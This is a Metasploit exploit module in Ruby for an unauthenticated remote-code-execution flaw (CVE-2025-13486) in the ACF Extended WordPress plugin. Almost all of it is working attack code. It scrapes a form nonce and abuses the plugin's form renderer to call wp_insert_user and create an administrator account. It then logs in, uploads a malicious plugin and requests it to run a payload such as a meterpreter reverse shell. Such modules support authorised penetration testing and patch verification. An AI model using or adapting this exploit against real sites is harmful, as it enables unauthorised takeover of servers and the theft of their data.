## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()', 'Description' => %q{ This module exploits an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5 through 0.9.1.1. The vulnerability exists in the prepare_form() function of the acfe_module_form_front_render class, which accepts user-controlled input via the form[render] parameter and passes it directly to call_user_func_array() without proper sanitization. This exploit requires a WordPress page containing an ACF Extended form widget, which exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option must be set to the path of such a page. Once an administrator account is created via wp_insert_user(), the module uploads and executes a malicious plugin to achieve remote code execution (RCE). }, 'Author' => [ 'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery 'Valentin Lobstein ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-13486'], ['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/'] ], 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'DisclosureDate' => '2025-12-02', 'DefaultTarget' => 0, 'Privileged' => false, 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']), OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]), OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]), OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email]) ]) end def check return CheckCode::Unknown unless wordpress_and_online? plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5') return plugin_check if plugin_check == CheckCode::Safe @nonce = find_nonce return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce CheckCode::Appears end def exploit unless wordpress_and_online? fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') end admin_cookie = create_admin_user upload_and_execute_payload(admin_cookie) end def ensure_nonce return if @nonce @nonce = find_nonce fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce end def find_nonce nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE']) res = send_request_cgi('method' => 'GET', 'uri' => nonce_page) return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") } end def send_exploit_request ensure_nonce send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_admin_ajax, 'vars_post' => { 'action' => 'acfe/form/render_form_ajax', 'nonce' => @nonce, 'form[render]' => 'wp_insert_user', 'form[user_login]' => datastore['USERNAME'], 'form[user_email]' => datastore['EMAIL'], 'form[user_pass]' => datastore['PASSWORD'], 'form[role]' => 'administrator' } ) end def create_admin_user res = send_exploit_request fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{\s*\d+\s*} print_good('Administrator account created successfully') cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie cookie end def upload_and_execute_payload(admin_cookie) plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}" zip = generate_plugin(plugin_name, payload_name) unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') end register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php") register_dir_for_cleanup("../#{plugin_name}") payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") send_request_cgi('uri' => payload_uri, 'method' => 'GET') end end